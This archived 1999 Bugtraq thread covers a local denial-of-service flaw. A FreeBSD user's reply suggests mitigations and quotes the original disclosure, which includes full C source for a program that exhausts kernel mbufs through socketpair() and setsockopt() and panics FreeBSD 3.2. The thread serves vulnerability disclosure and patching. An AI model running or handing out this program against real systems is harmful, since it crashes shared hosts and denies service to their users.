[11754] in bugtraq

home help back first fref pref prev next nref lref last post

Re: Local DoS on network by unpriviledged user using setsockopt()

daemon@ATHENA.MIT.EDU (FreeBSD -- The Power to Serve)
Wed Sep 8 20:36:06 1999

Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-Id:  <Pine.BSF.4.10.9909031359030.49675-100000@free-bsd.org>
Date:         Fri, 3 Sep 1999 14:02:18 -0600
Reply-To: FreeBSD -- The Power to Serve <geniusj@FREE-BSD.ORG>
From: FreeBSD -- The Power to Serve <geniusj@FREE-BSD.ORG>
X-To:         Sven Berkvens <sven@ILSE.NL>
To: BUGTRAQ@SECURITYFOCUS.COM
In-Reply-To:  <19990901133104.A10623@ilse.nl>

This can be fixed with login accounting until a real patch comes along..
Frankly, you can overload ANY server, not just these OS's.. Everything has
its limit which is why you should have some accounting in place.. as for
the mbuf problem specifically.. The problem is so deep into the kernel and
a problem from so far back that fixing it is hard.. A solution to this
problem is currently being discussed on the freebsd mailing lists, it may
end up in just limiting the buffer size that a user can use and definitely
limiting the amount of mbufs per process.. If you would really like to
help you can talk about it on freebsd-hackers@freebsd.org where people can
actually try and get this problem solved :).. Remember, login accounting,
and raise your mbufs/maxusers! ;-)

-JD-

On Wed, 1 Sep 1999, Sven Berkvens wrote:

> Recently, I mailed this mailing to a number of people who are concerned
> with security of various OSes, like FreeBSD, OpenBSD and NetBSD. The
> mailing was NOT intended to be made public, but somehow it was. Here is
> my original mailing:
>
>
> --- Forwarded ---
>
> I stumbled across a denial of service attack on FreeBSD systems, where
> an unpriviledged user can panic the kernel. Quick and dirty testing
> (code attached at the end of this mail) showed OpenBSD is vulnerable
> too:
>
> FreeBSD - 3.2-RELEASE: the kernel panics. I haven't had a chance to
> test it on older FreeBSD versions.
>
> OpenBSD 2.4 - GENERIC kernel & OpenBSD 2.5-current with NMBSCLUSTERS=8192:
> The kernel logs one "/bsd: mb_map full" and all processes trying to send
> something over the network get stuck waiting in mbuf. Locally the system
> continues to function. Tested by a friend.
>
> NetBSD: Not available, but it is highly probable that the affected code
> in OpenBSD is from its parent NetBSD.
>
> As far as I'm concerned, this can be handled quietly and without much
> haste. Knowledge of this problem is limited and there is absolutely no
> intention of publishing this exploit or messages to Bugtraq.
>
> With kind regards,
> Sven Berkvens (sven@ilse.nl)
> Long time FreeBSD-system administrator
>
>
>
> The source code for the program that causes this:
>
> #include	<unistd.h>
> #include	<sys/socket.h>
> #include	<fcntl.h>
>
> #define		BUFFERSIZE	204800
>
> extern	int
> main(void)
> {
> 	int		p[2], i;
> 	char		crap[BUFFERSIZE];
>
> 	while (1)
> 	{
> 		if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
> 			break;
> 		i = BUFFERSIZE;
> 		setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
> 		setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
> 		setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
> 		setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
> 		fcntl(p[0], F_SETFL, O_NONBLOCK);
> 		fcntl(p[1], F_SETFL, O_NONBLOCK);
> 		write(p[0], crap, BUFFERSIZE);
> 		write(p[1], crap, BUFFERSIZE);
> 	}
> 	exit(0);
> }
>
> ----- End forwarded message -----
>

home help back first fref pref prev next nref lref last post